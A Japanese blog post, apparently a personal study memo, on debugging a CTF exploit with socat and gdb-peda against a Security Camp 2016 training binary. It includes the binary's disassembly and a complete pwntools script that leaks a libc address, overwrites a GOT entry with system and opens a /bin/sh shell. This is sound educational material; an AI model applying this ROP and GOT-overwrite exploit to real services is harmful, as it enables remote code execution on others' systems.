ymduu+2

初心を忘れないのでツンデレとPSPが今でも好き、技術メモとか制作物とかそういうの

socat+gdb(+peda)でexploitのデバッグを行う方法

モチベーション

CTFとかでexploitを書く時にちゃんとペイロードが送れてるか、とか思い通りにリターンアドレスを書き換えられているか、とか確認したくなることってあるよね、という話。
セキュキャンでこの方法を聞いてなるほど、となったものの同じことを解説しているブログが見当たらなかったので自分用メモ
pedaはあってもなくてもいいけどexploitやるならまああったほうがいいよねという感じ
まさかり大歓迎です。もっといい方法があったらこっそり教えてください

攻撃するバイナリと攻撃コード

今回はセキュリティキャンプ2016の4-D"実行ファイルの防御機構を突破せよ"で使われたバイナリに攻撃することを想定して話を進める。
攻撃するバイナリは以下。脆弱性は0x080484eeのreadでバッファーオーバーフローがありという基本的な問題。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x0804849d <+0>:   push   ebp
   0x0804849e <+1>:   mov    ebp,esp
   0x080484a0 <+3>:   and    esp,0xfffffff0
   0x080484a3 <+6>:   sub    esp,0x30
   0x080484a6 <+9>:   mov    eax,ds:0x804a040
   0x080484ab <+14>:  mov    DWORD PTR [esp+0xc],0x0
   0x080484b3 <+22>:  mov    DWORD PTR [esp+0x8],0x2
   0x080484bb <+30>:  mov    DWORD PTR [esp+0x4],0x0
   0x080484c3 <+38>:  mov    DWORD PTR [esp],eax
   0x080484c6 <+41>:  call   0x8048390 <setvbuf@plt>
   0x080484cb <+46>:  mov    DWORD PTR [esp],0x80485a0
   0x080484d2 <+53>:  call   0x8048360 <printf@plt>
   0x080484d7 <+58>:  mov    DWORD PTR [esp+0x8],0x3e8
   0x080484df <+66>:  lea    eax,[esp+0x10]
   0x080484e3 <+70>:  mov    DWORD PTR [esp+0x4],eax
   0x080484e7 <+74>:  mov    DWORD PTR [esp],0x0
   0x080484ee <+81>:  call   0x8048350 <read@plt>
   0x080484f3 <+86>:  lea    eax,[esp+0x10]
   0x080484f7 <+90>:  mov    DWORD PTR [esp+0x4],eax
   0x080484fb <+94>:  mov    DWORD PTR [esp],0x80485b2
   0x08048502 <+101>: call   0x8048360 <printf@plt>
   0x08048507 <+106>: leave  
   0x08048508 <+107>: ret    
End of assembler dump.
gdb-peda$ 

エクスプロイトコードは以下。printfのアドレスをリーク->readでGOTにsystemのアドレスと"/bin/sh"を書き込み->それを使ってsystem("/bin/sh")を呼ぶROPを流し込むというもの。

# -*- coding: utf-8 -*-
from pwn import *
import time
context(arch = 'i386', os = 'linux')
#conn = process("./problem1_1")
#conn = remote("camp16.rex.gs", 10001)
conn = remote("localhost", 4000)
printf_libc_addr=0x4cdd0
payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A"
printf_plt=p32(0x8048360)
printf_GOT=p32(0x804a010)
pop1ret=p32(0x0804856f) # pop ret
pop3ret=p32(0x0804856d) #poppoppop ret
read_plt=p32(0x8048350)
print "po"       #1
aa=raw_input()
#leak printf addr
payload+=printf_plt
payload+=pop1ret
payload+=printf_GOT

#read(0,printf_got,20)
payload+=read_plt
payload+=pop3ret
payload+=p32(0)
payload+=printf_GOT
payload+=p32(20)

#system("/bin/sh") (printf_plt=system_addr)
payload+=printf_plt
payload+=b'PPPP'
payload+=p32(u32(printf_GOT)+4)

conn.send(payload)
time.sleep(0.5)
#print payload
print "po2"            #2
aa=raw_input()
s= conn.recv(1024)
ls=s.split("\n")
print ls
printf_addr=ls[1][0:4]
print "printf_addr="+hex(u32(printf_addr))
libc_base=u32(printf_addr)-printf_libc_addr
print "base="+hex(libc_base)
system_addr=0x3fe70+libc_base

#GOT write,binsh write
conn.send(p32(system_addr)+b'/bin/sh\0')

conn.interactive()

これをsocat+gdb(+peda)でデバッグすることを目指す。

方法

socatを使うのでない場合はaptとかで入れる。 ターミナルを3つ使うのでtmux とかでターミナル分割したらいいかもしれない(未検証)
以下では便宜的にターミナル1,ターミナル2,ターミナル3と表記する
上から順番に実行する。
ターミナル1(バイナリを起動して指定ポート番号(4000番)で待ち受け)

$ socat tcp-l:4000.reuseaddr exec:"./problem1_1"

ターミナル2(接続しないとバイナリが起動しない模様、接続だけさせてコメント"#1"のraw_input()で止める)

$ python exploit.py

ターミナル3(起動したバイナリのPIDを調べてgdbでアタッチ)

$ ps aux | grep problem
ymduu     8851  0.0  0.0  19608  1328 pts/0    S+   00:31   0:00 socat tcp-l:4000.reuseaddr exec:./problem1_1
ymduu     8878  0.0  0.0   2020   280 pts/0    S+   00:31   0:00 ./problem1_1
ymduu     9015  0.0  0.0  12712   944 pts/2    S+   00:32   0:00 grep --colour=auto problem

ps aux | grep (バイナリ名)するとsocatのプロセスも出てくるが、socatではないほうのプロセスを選ぶ。この場合8878。
ターミナル3

$ sudo gdb -q
gdb-peda$ attach 8878
gdb-peda$ b *0x080484f3
Breakpoint 1 at 0x80484f3
gdb-peda$ c
Continuing.

sudoで起動しないとプロセスにアタッチできない場合がある模様?
適当な場所(入力の後じゃないとブレークポイントがヒットしないことがある模様?)にブレークポイントを置いてcontinue
ターミナル2
ターミナル2のexploit.pyをraw_inputで止めているのでEnterキーを押して進める(raw_inputによる入力は使わない)

ターミナル3
gdb上でプログラムが進んでブレークポイントで止まっているはずなのであとは好きにデバッグすればOK
バイナリ側のprintf等の出力からexploitが値を受け取って進む場合(今回のexploit.pyのコメント部分#2)は、exploit.py側でraw_inputなどで止めておいて、出力して次の入力を受けるところまでターミナル3のバイナリの処理を進めてからexploit.pyの処理を進める、としないと当然exploit.pyは値を受け取れないので注意

これでexploitが想定通りにサーバーに送られているかチェックすることが可能。